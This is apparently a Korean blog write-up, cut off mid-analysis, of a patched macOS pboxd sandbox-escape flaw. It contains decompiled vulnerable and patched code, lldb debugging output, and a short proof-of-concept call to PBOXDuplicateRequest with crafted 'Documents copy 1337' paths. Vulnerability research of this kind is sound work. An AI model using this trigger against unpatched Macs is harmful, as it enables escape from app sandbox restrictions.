http://support.apple.com/ko-kr/122716

해당 취약점은 macOS Sequoia 15.5에서 패치되었으며, 샌드박스를 탈출할 수 있는 취약점이다.
RemoteViewServices 서비스에서 취약점이 발생한다.
Diffing / Analysis
취약한 macOS 15.4.1 버전과 패치된 15.5 대상으로 디핑을 진행하였다.
취약점이 발견된 바이너리는 다음과 같다.
- /System/Library/PrivateFrameworks/RemoteViewServices.framework/XPCServices/com.apple.security.pboxd.xpc/Contents/MacOS/com.apple.security.pboxd

바이너리를 추출해서 Bindiff를 통해 비교해봤을 때, 함수 1개에서 차이점이 존재하였다.
- -[PBOXRelatedItemSession _handleDuplicateRequest:withReply:]
해당 메소드를 살펴보면 다음과 같다.
- macOS 15.4.1 취약한 버전
id __cdecl -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:](
PBOXRelatedItemSession *self,
SEL a2,
id a3,
id a4,
id *a5)
{
NSError *v5; // x0
NSError *v6; // x0
NSError *v7; // x0
id v8; // x0
id v9; // x0
NSError *v10; // x0
NSError *v11; // x0
id v12; // x0
void *v13; // x0
NSError *v14; // x0
NSString *v15; // x8
id v16; // x0
void *v17; // x0
NSError *v19; // [xsp+38h] [xbp-1E8h]
id v20; // [xsp+40h] [xbp-1E0h]
__int64 v21; // [xsp+48h] [xbp-1D8h]
NSError *v22; // [xsp+50h] [xbp-1D0h]
NSFileManager *v23; // [xsp+58h] [xbp-1C8h]
unsigned __int8 v24; // [xsp+64h] [xbp-1BCh]
NSError *v25; // [xsp+68h] [xbp-1B8h]
id v26; // [xsp+70h] [xbp-1B0h]
int *v27; // [xsp+78h] [xbp-1A8h]
unsigned int v28; // [xsp+84h] [xbp-19Ch]
int *p_pid; // [xsp+90h] [xbp-190h]
unsigned int v30; // [xsp+9Ch] [xbp-184h]
NSError *v31; // [xsp+A0h] [xbp-180h]
id v32; // [xsp+B0h] [xbp-170h]
id v33; // [xsp+B8h] [xbp-168h]
unsigned __int8 v34; // [xsp+C4h] [xbp-15Ch]
NSError *v35; // [xsp+C8h] [xbp-158h]
id v36; // [xsp+D8h] [xbp-148h]
id v37; // [xsp+E0h] [xbp-140h]
int v38; // [xsp+ECh] [xbp-134h]
NSError *v39; // [xsp+F0h] [xbp-130h]
id v40; // [xsp+F8h] [xbp-128h]
id v41; // [xsp+100h] [xbp-120h]
NSArray *v42; // [xsp+108h] [xbp-118h]
void *v45; // [xsp+120h] [xbp-100h]
void *v46; // [xsp+128h] [xbp-F8h]
void *v47; // [xsp+138h] [xbp-E8h]
_OWORD v48[2]; // [xsp+140h] [xbp-E0h] BYREF
_OWORD v49[2]; // [xsp+160h] [xbp-C0h] BYREF
id v50; // [xsp+188h] [xbp-98h] BYREF
id v51; // [xsp+190h] [xbp-90h] BYREF
char v52; // [xsp+19Fh] [xbp-81h]
id v53; // [xsp+1A0h] [xbp-80h]
id v54; // [xsp+1A8h] [xbp-78h] BYREF
id v55; // [xsp+1B0h] [xbp-70h] BYREF
int v56; // [xsp+1BCh] [xbp-64h]
id v57; // [xsp+1C0h] [xbp-60h] BYREF
id v58; // [xsp+1C8h] [xbp-58h] BYREF
id v59; // [xsp+1D0h] [xbp-50h] BYREF
id v60; // [xsp+1D8h] [xbp-48h] BYREF
id *v61; // [xsp+1E0h] [xbp-40h]
id v62; // [xsp+1E8h] [xbp-38h] BYREF
id location[2]; // [xsp+1F0h] [xbp-30h] BYREF
PBOXRelatedItemSession *v64; // [xsp+200h] [xbp-20h]
id v65; // [xsp+208h] [xbp-18h]
__int64 vars8; // [xsp+228h] [xbp+8h]
v64 = self;
location[1] = (id)a2;
location[0] = 0;
objc_storeStrong(location, a3);
v62 = 0;
objc_storeStrong(&v62, a4);
v61 = a5;
v60 = 0;
v45 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], "stringByDeletingLastPathComponent"));
v59 = objc_retainAutoreleasedReturnValue(objc_msgSend(v45, "stringByPBOXRealPath"));
objc_release(v45);
v46 = objc_retainAutoreleasedReturnValue(objc_msgSend(v62, "stringByDeletingLastPathComponent"));
v58 = objc_retainAutoreleasedReturnValue(objc_msgSend(v46, "stringByPBOXRealPath"));
objc_release(v46);
if ( ((unsigned int)objc_msgSend(v59, "isEqualToString:", v58) & 1) != 0 )
goto LABEL_8;
v42 = objc_retainAutoreleasedReturnValue(NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, 1u, 1));
v41 = objc_retainAutoreleasedReturnValue(-[NSArray lastObject](v42, "lastObject"));
v57 = objc_retainAutoreleasedReturnValue(objc_msgSend(v41, "stringByPBOXRealPath"));
objc_release(v41);
objc_release(v42);
if ( v57 )
{
if ( ((unsigned int)objc_msgSend(v57, "isEqualToString:", v58) & 1) != 0 )
{
v56 = 0;
}
else
{
v39 = objc_retainAutoreleasedReturnValue(
+[NSError errorWithDomain:code:userInfo:](
&OBJC_CLASS___NSError,
"errorWithDomain:code:userInfo:",
NSPOSIXErrorDomain,
1,
0));
v5 = objc_autorelease(v39);
*v61 = v39;
v65 = 0;
v56 = 1;
}
}
else
{
v40 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&OBJC_CLASS___RVSLogger, "defaultLogger"));
objc_msgSend(v40, "debug:", CFSTR("NSSearchPathForDirectoriesInDomains returns no Documents directory"));
objc_release(v40);
v65 = 0;
v56 = 1;
}
objc_storeStrong(&v57, 0);
if ( !v56 )
{
LABEL_8:
v55 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], "lastPathComponent"));
v54 = objc_retainAutoreleasedReturnValue(objc_msgSend(v62, "lastPathComponent"));
v36 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, "pathExtension"));
v37 = objc_retainAutoreleasedReturnValue(objc_msgSend(v54, "pathExtension"));
v52 = 0;
LOBYTE(v38) = 0;
if ( ((unsigned __int8)objc_msgSend(v36, "isEqualToString:") & 1) == 0 )
{
v53 = objc_retainAutoreleasedReturnValue(objc_msgSend(v54, "pathExtension"));
v52 = 1;
v38 = sub_10001332C(v53) ^ 1;
}
if ( (v52 & 1) != 0 )
objc_release(v53);
objc_release(v37);
objc_release(v36);
if ( (v38 & 1) != 0 )
{
v35 = objc_retainAutoreleasedReturnValue(
+[NSError errorWithDomain:code:userInfo:](
&OBJC_CLASS___NSError,
"errorWithDomain:code:userInfo:",
NSPOSIXErrorDomain,
1,
0));
v6 = objc_autorelease(v35);
*v61 = v35;
v65 = 0;
v56 = 1;
}
else
{
v33 = objc_retainAutoreleasedReturnValue(objc_msgSend(v54, "stringByDeletingPathExtension"));
v32 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, "stringByDeletingPathExtension"));
v34 = (unsigned __int8)+[NSDocument _validateDuplicateDocumentName:withOriginalName:](
&OBJC_CLASS___NSDocument,
"_validateDuplicateDocumentName:withOriginalName:",
v33);
objc_release(v32);
objc_release(v33);
if ( (v34 & 1) != 0 )
{
v51 = objc_retainAutoreleasedReturnValue(objc_msgSend(v59, "stringByAppendingPathComponent:", v55));
v50 = objc_retainAutoreleasedReturnValue(objc_msgSend(v58, "stringByAppendingPathComponent:", v54));
p_pid = &v64->_pid;
v30 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL;
v8 = objc_retainAutorelease(v51);
objc_msgSend(v51, "UTF8String");
v49[0] = *(_OWORD *)p_pid;
v49[1] = *((_OWORD *)p_pid + 1);
if ( (unsigned int)sandbox_check_by_audit_token(v49, "file-write-data", v30)
&& (v27 = &v64->_pid,
v28 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL,
v26 = v51,
v9 = objc_retainAutorelease(v51),
objc_msgSend(v26, "UTF8String"),
v48[0] = *(_OWORD *)v27,
v48[1] = *((_OWORD *)v27 + 1),
(unsigned int)sandbox_check_by_audit_token(v48, "file-read-data", v28)) )
{
v25 = objc_retainAutoreleasedReturnValue(
+[NSError errorWithDomain:code:userInfo:](
&OBJC_CLASS___NSError,
"errorWithDomain:code:userInfo:",
NSPOSIXErrorDomain,
1,
0));
v10 = objc_autorelease(v25);
*v61 = v25;
v65 = 0;
v56 = 1;
}
else
{
v23 = objc_retainAutoreleasedReturnValue(+[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager"));
v24 = -[NSFileManager fileExistsAtPath:](v23, "fileExistsAtPath:", v50);
objc_release(v23);
if ( (v24 & 1) != 0 )
{
v22 = objc_retainAutoreleasedReturnValue(
+[NSError errorWithDomain:code:userInfo:](
&OBJC_CLASS___NSError,
"errorWithDomain:code:userInfo:",
NSPOSIXErrorDomain,
17,
0));
v11 = objc_autorelease(v22);
*v61 = v22;
v65 = 0;
v56 = 1;
}
else
{
v21 = APP_SANDBOX_READ_WRITE;
v20 = v50;
v12 = objc_retainAutorelease(v50);
v13 = objc_msgSend(v20, "UTF8String");
v47 = (void *)sandbox_extension_issue_file(v21, v13, SANDBOX_EXTENSION_CANONICAL);
if ( v47 )
{
v15 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&OBJC_CLASS___NSString, "stringWithUTF8String:", v47));
v16 = v60;
v60 = v15;
objc_release(v16);
free(v47);
v65 = objc_retain(v60);
}
else
{
v19 = objc_retainAutoreleasedReturnValue(
+[NSError errorWithDomain:code:userInfo:](
&OBJC_CLASS___NSError,
"errorWithDomain:code:userInfo:",
NSPOSIXErrorDomain,
*__error(),
0));
v14 = objc_autorelease(v19);
*v61 = v19;
v65 = 0;
}
v56 = 1;
}
}
objc_storeStrong(&v50, 0);
objc_storeStrong(&v51, 0);
}
else
{
v31 = objc_retainAutoreleasedReturnValue(
+[NSError errorWithDomain:code:userInfo:](
&OBJC_CLASS___NSError,
"errorWithDomain:code:userInfo:",
NSPOSIXErrorDomain,
1,
0));
v7 = objc_autorelease(v31);
*v61 = v31;
v65 = 0;
v56 = 1;
}
}
objc_storeStrong(&v54, 0);
objc_storeStrong(&v55, 0);
}
objc_storeStrong(&v58, 0);
objc_storeStrong(&v59, 0);
objc_storeStrong(&v60, 0);
objc_storeStrong(&v62, 0);
objc_storeStrong(location, 0);
v17 = v65;
if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 )
__break(0xC471u);
return objc_autoreleaseReturnValue(v17);
}
- macOS 15.5 패치한 버전
void __cdecl -[PBOXRelatedItemSession _handleDuplicateRequest:withReply:](
PBOXRelatedItemSession *self,
SEL a2,
id a3,
id a4)
{
id v5; // [xsp+30h] [xbp-20h] BYREF
id location[3]; // [xsp+38h] [xbp-18h] BYREF
location[2] = self;
location[1] = (id)a2;
location[0] = 0;
objc_storeStrong(location, a3);
v5 = 0;
objc_storeStrong(&v5, a4);
objc_msgSend(v5, "setReturnCode:", 0);
objc_storeStrong(&v5, 0);
objc_storeStrong(location, 0);
}
위 함수를 보면, 패치된 버전에서는 리턴코드를 항상 0으로 세팅하고 코드가 엄청 짧지만 취약한 버전에서는 그렇지 않다.
취약한 메소드를 트리거하는 방법은 다음과 같다.
(도중에 분석하기 귀찮아서 … 으로 생략)
// RemoteViewServices
PBOXDuplicateRequest
-> _sendServiceRequest
-> xpc_connection_send_message
...
// com.apple.security.pboxd
-> -[PBOXServer run]
-> sub_100001AEC
-> sub_100001B50
-> -[PBOXServer _dispatchRequestToNewSession:]
-> sub_100001E14
xpc_dictionary_get_value(location[0], "PBOXSessionTypeKey"))
...
v8 = objc_alloc(&OBJC_CLASS___PBOXRelatedItemSession);
v9 = -[PBOXRelatedItemSession initWithConnection:](v8, "initWithConnection:", v36);
...
-> -[PBOXRelatedItemSession initWithConnection:]
...
-> -[PBOXRelatedItemSession connection:didReceiveRequest:]
-> -[PBOXRelatedItemSession _handleDuplicateRequest:withReply:]
-> -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:]
트리거하는 방법은 RemoteViewServices 라이브러리의 PBOXDuplicateRequest 함수를 사용하는 것이다.
저 함수를 보았을때 3개의 매개변수를 입력받는데, 각 타입을 추측하면 다음과 같다.
먼저 a1,a2 매개변수는 향후 isFileURL 인스턴스 메소드를 호출되기에 NSURL *타입이고, a3는 향후 “errorWithDomain:code:userInfo:” 메소드를 호출하는것으로 보아 NSError *타입이다.
따라서 NULL 또는 호출결과 에러정보를 알기 위해 NSError * 객체로 들어가면 될 것이고, a1, a2는 파일 경로를 넣어주면 될 것이다.
a1 → PBOXRelatedItemDuplicateRequestRequestOriginalItemKey a2 → PBOXRelatedItemDuplicateRequestRequestDuplicateItemKey
위와 같이 키 값으로 설정된다.
__int64 __fastcall PBOXDuplicateRequest(void *a1, void *a2, _QWORD *a3)
{
id v5; // x19
id v6; // x20
NSRemoteServiceRequest *v7; // x22
void *v8; // x23
void *v9; // x23
id v10; // x0
id v11; // x23
__int64 v12; // x21
v5 = objc_retain(a1);
v6 = objc_retain(a2);
if ( (unsigned int)objc_msgSend(v5, "isFileURL") && ((unsigned int)objc_msgSend(v6, "isFileURL") & 1) != 0 )
{
v7 = -[NSRemoteServiceRequest initWithType:](objc_alloc(&OBJC_CLASS___NSRemoteServiceRequest), "initWithType:", 2);
if ( v7 )
{
v8 = objc_retainAutoreleasedReturnValue(objc_msgSend(v5, "path"));
-[NSRemoteServiceRequest setArgument:forKey:](
v7,
"setArgument:forKey:",
v8,
CFSTR("PBOXRelatedItemDuplicateRequestRequestOriginalItemKey"));
objc_release(v8);
v9 = objc_retainAutoreleasedReturnValue(objc_msgSend(v6, "path"));
-[NSRemoteServiceRequest setArgument:forKey:](
v7,
"setArgument:forKey:",
v9,
CFSTR("PBOXRelatedItemDuplicateRequestRequestDuplicateItemKey"));
objc_release(v9);
v10 = objc_retainAutoreleasedReturnValue(_sendServiceRequest(v7));
v11 = v10;
if ( v10 )
{
v12 = handleReply(v10, a3);
LABEL_11:
objc_release(v11);
objc_release(v7);
goto LABEL_12;
}
}
else
{
v11 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&OBJC_CLASS___RVSLogger, "defaultLogger"));
objc_msgSend(v11, "debug:", CFSTR("PBOXDuplicateRequest: Could not create request object"));
}
v12 = -1;
goto LABEL_11;
}
if ( a3 )
*a3 = objc_autorelease(objc_retainAutoreleasedReturnValue(objc_msgSend(MEMORY[0x1E8B56758], "errorWithDomain:code:userInfo:", *MEMORY[0x1E8B560F8], 22, 0)));
v12 = -1;
LABEL_12:
objc_release(v6);
objc_release(v5);
return v12;
}
_sendServiceRequest 메소드 호출로 이어지는데,
PBOXSessionTypeKey 키값을 3으로 세팅하고 보낼 메시지와 함께 com.apple.security.pboxd XPC 서비스와의 연결을 준비한고 보낸다.
id __fastcall _sendServiceRequest(void *a1)
{
id v1; // x19
dispatch_queue_global_s *v2; // x21
_xpc_connection_s *v3; // x20
xpc_object_t v4; // x0
void *v5; // x21
NSRemoteServiceConnection *v6; // x23
id v7; // x22
id v8; // x0
__CFString *v9; // x2
__int64 vars8; // [xsp+38h] [xbp+8h]
v1 = objc_retain(a1);
v2 = objc_retainAutoreleasedReturnValue(dispatch_get_global_queue(0, 0));
v3 = xpc_connection_create("com.apple.security.pboxd", v2);
objc_release(v2);
if ( v3 )
{
v4 = xpc_dictionary_create(0, 0, 0);
if ( v4 )
{
v5 = v4;
xpc_dictionary_set_uint64(v4, "PBOXSessionTypeKey", 3u);
xpc_connection_set_event_handler(v3, &__block_literal_global_2);
xpc_connection_resume(v3);
xpc_connection_send_message(v3, v5);
xpc_connection_suspend(v3);
v6 = -[NSRemoteServiceConnection initWithServiceConnection:](
objc_alloc(&OBJC_CLASS___NSRemoteServiceConnection),
"initWithServiceConnection:",
v3);
-[NSRemoteServiceConnection resume](v6, "resume");
v7 = objc_retainAutoreleasedReturnValue(-[NSRemoteServiceConnection sendSynchronousRequest:](v6, "sendSynchronousRequest:", v1));
objc_release(v6);
goto LABEL_7;
}
v8 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&OBJC_CLASS___RVSLogger, "defaultLogger"));
v5 = v8;
v9 = CFSTR("_sendServiceRequest: Could not create session creation message");
}
else
{
v8 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&OBJC_CLASS___RVSLogger, "defaultLogger"));
v5 = v8;
v9 = CFSTR("_sendServiceRequest: Could not create connection to service");
}
objc_msgSend(v8, "debug:", v9);
v7 = 0;
LABEL_7:
objc_release(v5);
objc_release(v3);
objc_release(v1);
if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 )
__break(0xC471u);
return objc_autoreleaseReturnValue(v7);
}
여기까지가 RemoteViewServices 라이브러리의 분석 내용이었다. com.apple.security.pboxd XPC 프로세스에서 PBOXSessionTypeKey 키 값을 비교하는데, 해당 함수는 sub_100001E14이다.
추적해서 최종 취약점이 있는 메소드인 -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:] 메소드에 브레이크포인트를 걸고,
poc 코드에 나와있듯 매개변수에는 각각 “/Users/[사용자명]/Documents”, “/Users/[사용자명]/Documents copy 1337”을 넣어서 PBOXDuplicateRequest 함수를 호출해본다.
NSString *documentsPath = [NSString stringWithFormat:@"/Users/%@/Documents", NSUserName()];
//_validateDuplicateDocumentName:withOriginalName: arg2
NSURL *documentsURL = [NSURL fileURLWithPath:documentsPath];
NSString *copiedPath =
[NSString stringWithFormat:@"/Users/%@/Documents copy 1337", NSUserName()]; //_validateDuplicateDocumentName:withOriginalName: arg1
NSURL *copiedURL = [NSURL fileURLWithPath:copiedPath];
NSError *_error = nil;
int64_t result = PBOXDuplicateRequest(documentsURL, copiedURL, _error);
그러면 해당 취약점이 있는 메소드에서 실행이 중단된다.
(lldb) c
Process 958 resuming
Process 958 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
frame #0: 0x000000010074373c com.apple.security.pboxd`___lldb_unnamed_symbol509
com.apple.security.pboxd`___lldb_unnamed_symbol509:
-> 0x10074373c <+0>: pacibsp
0x100743740 <+4>: stp x28, x27, [sp, #-0x20]!
0x100743744 <+8>: stp x29, x30, [sp, #0x10]
0x100743748 <+12>: add x29, sp, #0x10
(lldb) po $x0
<PBOXRelatedItemSession: 0xb101a90e0>
(lldb) reg read x1
x1 = 0x0000000100750fab "_requestDuplicateDocument:withDuplicateName:error:"
(lldb) po $x2
/Users/seo/Documents
(lldb) po $x3
/Users/seo/Documents copy 1337
PBOXDuplicateRequest 함수에 넘긴 매개변수가 그대로 넘어가
a3 = “/Users/seo/Documents”
a4 = “/Users/seo/Documents copy 1337”가 들어간다.
id __cdecl -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:](
PBOXRelatedItemSession *self,
SEL a2,
id a3,
id a4,
id *a5)
먼저 a3, a4에 들어간 경로에서 각각 마지막 경로 컴프넌트를 제거하여 v60, v59 변수에 저장한다. stringByPBOXRealPath 메소드는 내부적으로 realpath_DARWIN_EXTSN 함수를 호출하여 실제 절대 경로를 구해준다.
v65 = self; location[1] = (id)a2; location[0] = 0; objc_storeStrong(location, a3); v63 = 0; objc_storeStrong(&v63, a4); v62 = a5; v61 = 0; v46 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], "stringByDeletingLastPathComponent"));// /Users/seo/Documents -> /Users/seo, a3에 들어간 경로에서 마지막 경로 컴포넌트를 제거함 v60 = objc_retainAutoreleasedReturnValue(objc_msgSend(v46, "stringByPBOXRealPath")); objc_release(v46); v47 = objc_retainAutoreleasedReturnValue(objc_msgSend(v63, "stringByDeletingLastPathComponent"));// /Users/seo/Documents copy 1337 -> /Users/seo, a4에 들어간 경로에서 마지막 경로 컴퍼넌트를 제거함 v59 = objc_retainAutoreleasedReturnValue(objc_msgSend(v47, "stringByPBOXRealPath")); objc_release(v47);
id __cdecl -[NSString stringByPBOXRealPath](NSString *self, SEL a2)
{
NSString *v2; // x0
void *v3; // x0
id v6; // [xsp+18h] [xbp-28h] BYREF
void *v7; // [xsp+20h] [xbp-20h]
SEL v8; // [xsp+28h] [xbp-18h]
NSString *v9; // [xsp+30h] [xbp-10h]
id v10; // [xsp+38h] [xbp-8h]
__int64 vars8; // [xsp+48h] [xbp+8h]
v9 = self;
v8 = a2;
v2 = objc_retainAutorelease(self);
v7 = realpath_DARWIN_EXTSN(-[NSString fileSystemRepresentation](self, "fileSystemRepresentation"), 0);
if ( v7 )
{
v6 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&OBJC_CLASS___NSString, "stringWithUTF8String:", v7));
free(v7);
v10 = objc_retain(v6);
objc_storeStrong(&v6, 0);
}
else
{
v10 = 0;
}
v3 = v10;
if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 )
__break(0xC471u);
return objc_autoreleaseReturnValue(v3);
}
이후에는 v60, v59 변수에 들어간 문자열이 서로 같기 떄문에 LABEL_8으로 이동한다.
if ( ((unsigned int)objc_msgSend(v60, "isEqualToString:", v59) & 1) != 0 )
goto LABEL_8;
v43 = objc_retainAutoreleasedReturnValue(NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, 1u, 1));
v42 = objc_retainAutoreleasedReturnValue(-[NSArray lastObject](v43, "lastObject"));
v58 = objc_retainAutoreleasedReturnValue(objc_msgSend(v42, "stringByPBOXRealPath"));
objc_release(v42);
objc_release(v43);
if ( v58 )
{
if ( ((unsigned int)objc_msgSend(v58, "isEqualToString:", v59) & 1) != 0 )
{
v57 = 0;
}
else
{
v40 = objc_retainAutoreleasedReturnValue(
+[NSError errorWithDomain:code:userInfo:](
&OBJC_CLASS___NSError,
"errorWithDomain:code:userInfo:",
NSPOSIXErrorDomain,
1,
0));
v5 = objc_autorelease(v40);
*v62 = v40;
v66 = 0;
v57 = 1;
}
}
else
{
v41 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&OBJC_CLASS___RVSLogger, "defaultLogger"));
objc_msgSend(v41, "debug:", CFSTR("NSSearchPathForDirectoriesInDomains returns no Documents directory"));
objc_release(v41);
v66 = 0;
v57 = 1;
}
objc_storeStrong(&v58, 0);
if ( !v57 )
{
LABEL_8:
...
}
objc_storeStrong(&v59, 0);
objc_storeStrong(&v60, 0);
objc_storeStrong(&v61, 0);
objc_storeStrong(&v63, 0);
objc_storeStrong(location, 0);
v18 = v66;
if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 )
__break(0xC471u);
return objc_autoreleaseReturnValue(v18);
}
각 마지막 컴포너트 파일 이름에서 확장자가 있는지 파싱하고,
if ( !v57 ) // v56 should be 0, to enter if statement
{
LABEL_8:
v56 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], "lastPathComponent"));// /Users/seo/Documents -> Documents
v55 = objc_retainAutoreleasedReturnValue(objc_msgSend(v63, "lastPathComponent"));// /Users/seo/Documents copy 1337 -> Documents copy 1337
v37 = objc_retainAutoreleasedReturnValue(objc_msgSend(v56, "pathExtension"));// Documents -> nil
v38 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, "pathExtension"));// Documents copy 1337 -> nil
확장자가 둘다 nil이기에 참이 된다.
따라서 if 문안에 있는 코드가 진입하지 않는다.
if ( ((unsigned __int8)objc_msgSend(v37, "isEqualToString:") & 1) == 0 )// nil == nil
{
v54 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, "pathExtension"));
v53 = 1;
v39 = sub_10001332C(v54) ^ 1;
}
그리고 v53은 초기 선언에서 0을 지정했기에 else 문으로 진입하게 된다..
if ( (v53 & 1) != 0 )
objc_release(v54);
objc_release(v38);
objc_release(v37);
if ( (v39 & 1) != 0 )
{
v36 = objc_retainAutoreleasedReturnValue(
+[NSError errorWithDomain:code:userInfo:](
&OBJC_CLASS___NSError,
"errorWithDomain:code:userInfo:",
NSPOSIXErrorDomain,
1,
0));
v6 = objc_autorelease(v36);
*v62 = v36;
v66 = 0;
v57 = 1;
}
else //else 문 진입!!!!
{
...
else 문 뒤에는 +[NSDocument _validateDuplicateDocumentName:withOriginalName:] 메소드를 통해 어떠한 검증을 하고 있는데, 우선 검증하는 메소드의 각각 매개변수에는 확장자를 제거한 파일 이름이 들어간다.
else
{
v34 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, "stringByDeletingPathExtension"));
v33 = objc_retainAutoreleasedReturnValue(objc_msgSend(v56, "stringByDeletingPathExtension"));
v35 = (unsigned __int8)+[NSDocument _validateDuplicateDocumentName:withOriginalName:](
&OBJC_CLASS___NSDocument,
"_validateDuplicateDocumentName:withOriginalName:",
v34);
objc_release(v33);
objc_release(v34);
(lldb) c
Process 958 resuming
Process 958 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 17.1
frame #0: 0x0000000100743b3c com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1024
com.apple.security.pboxd`___lldb_unnamed_symbol509:
-> 0x100743b3c <+1024>: bl 0x10074d0c0
0x100743b40 <+1028>: mov x8, x0
0x100743b44 <+1032>: ldr x0, [sp, #0xb0]
0x100743b48 <+1036>: str w8, [sp, #0xc4]
Target 0: (com.apple.security.pboxd) stopped.
(lldb) po $x0
NSDocument
(lldb) po $x1
<nil>
(lldb) po $x2
Documents copy 1337
(lldb) po $x3
Documents
+[NSDocument _validateDuplicateDocumentName:withOriginalName:] 해당 메소드는 AppKit 라이브러리에 들어가있다.
메소드 반환이 참이 될려면 조건은 다음과 같다.
- “복제명(첫 번째 인자)”의 숫자 부분이 “원본명(두 번째 인자)”의 숫자 부분보다 커야 한다.
- 두 이름의 “기본 이름(base name)”(숫자 접미사를 제외한 앞부분)이 서로 동일해야 한다.
따라서 두번째 매개변수에 Documents copy 1337 들어간 이유 중 하나이다.
bool __cdecl +[NSDocument _validateDuplicateDocumentName:withOriginalName:](id a1, SEL a2, id a3, id a4)
{
id v6; // x19
id v7; // x20
id v8; // x21
id v9; // x22
unsigned __int8 v10; // w23
id v12; // [xsp+0h] [xbp-50h] BYREF
id v13; // [xsp+8h] [xbp-48h] BYREF
__int64 v14; // [xsp+10h] [xbp-40h] BYREF
__int64 v15; // [xsp+18h] [xbp-38h] BYREF
v6 = objc_retain(a3);
v7 = objc_retain(a4);
v14 = 0;
v15 = 0;
v13 = 0;
objc_msgSend(a1, "_parseBaseName:number:fromDisplayName:", &v13, &v15, v6);
v8 = objc_retain(v13);
v12 = 0;
objc_msgSend(a1, "_parseBaseName:number:fromDisplayName:", &v12, &v14, v7);
v9 = objc_retain(v12);
if ( v15 <= v14 )
v10 = 0;
else
v10 = (unsigned __int8)objc_msgSend(v8, "isEqualToString:", v9);
objc_release(v9);
objc_release(v8);
objc_release(v7);
objc_release(v6);
return v10;
}
void __cdecl +[NSDocument _parseBaseName:number:fromDisplayName:](id a1, SEL a2, id *a3, signed __int64 *a4, id a5)
{
id v8; // x19
id v9; // x24
id v10; // x25
void *v11; // x23
void *v12; // x24
__int64 v13; // x25
void *v14; // x26
id v15; // x0
__int128 v16; // [xsp+0h] [xbp-130h] BYREF
__int128 v17; // [xsp+10h] [xbp-120h]
__int128 v18; // [xsp+20h] [xbp-110h]
__int128 v19; // [xsp+30h] [xbp-100h]
_QWORD v20[2]; // [xsp+48h] [xbp-E8h] BYREF
_BYTE v21[128]; // [xsp+58h] [xbp-D8h] BYREF
__int64 v22; // [xsp+D8h] [xbp-58h]
v22 = *MEMORY[0x1E8BC4698];
v8 = objc_retain(a5);
v16 = 0u;
v17 = 0u;
v18 = 0u;
v19 = 0u;
v9 = objc_retainAutoreleasedReturnValue((id)_NXKitString(CFSTR("Document"), CFSTR("%@ copy")));
v20[0] = v9;
v10 = objc_retainAutoreleasedReturnValue((id)_NXKitString(CFSTR("Document"), CFSTR("%@ copy %@")));
v20[1] = v10;
v11 = objc_retainAutoreleasedReturnValue(objc_msgSend(MEMORY[0x1E8B488C8], "arrayWithObjects:count:", v20, 2));
objc_release(v10);
objc_release(v9);
v12 = objc_msgSend(v11, "countByEnumeratingWithState:objects:count:", &v16, v21, 16);
if ( v12 )
{
v13 = *(_QWORD *)v17;
while ( 2 )
{
v14 = 0;
do
{
if ( *(_QWORD *)v17 != v13 )
objc_enumerationMutation(v11);
if ( ((unsigned int)objc_msgSend(
a1,
"_parseName:number:fromDisplayName:withTemplate:",
a3,
a4,
v8,
*(_QWORD *)(*((_QWORD *)&v16 + 1) + 8LL * (_QWORD)v14))
& 1) != 0 )
{
objc_release(v11);
goto LABEL_11;
}
v14 = (char *)v14 + 1;
}
while ( v12 != v14 );
v12 = objc_msgSend(v11, "countByEnumeratingWithState:objects:count:", &v16, v21, 16);
if ( v12 )
continue;
break;
}
}
objc_release(v11);
*a4 = 0;
v15 = objc_retainAutorelease(v8);
*a3 = v8;
LABEL_11:
objc_release(v8);
}
방금 언급한 메소드는 이제 참이 되어 v35값은 1로 지정된다.
그리고 (unsigned int)sandbox_check_by_audit_token(v50, “file-write-data”, v31)에서 1을 반환하는데, /Users/seo/Documents copy 1337 파일을 쓸 수 있는지 확인한다. 샌드박스에 의해 막히기 때문에 1을 반환한다.
그러면 goto LABEL_19;으로 이동하지 않고 한번 더 검사하는데,
(unsigned int)sandbox_check_by_audit_token(v49, “file-read-data”, v29) 호출을 통해 /Users/seo/Documents 내의 파일을 읽을 수 있는지 확인한다.
그렇다… 사실은 /Users/seo/Documents 에 읽기 권한을 주어야만 샌드박스 탈출이 가능한것이다. 나름 제한적이라고 볼 수 있다.
v35 = (unsigned __int8)+[NSDocument _validateDuplicateDocumentName:withOriginalName:](
&OBJC_CLASS___NSDocument,
"_validateDuplicateDocumentName:withOriginalName:",
v34);
objc_release(v33);
objc_release(v34);
if ( (v35 & 1) != 0 )
{
v52 = objc_retainAutoreleasedReturnValue(objc_msgSend(v60, "stringByAppendingPathComponent:", v56));
v51 = objc_retainAutoreleasedReturnValue(objc_msgSend(v59, "stringByAppendingPathComponent:", v55));
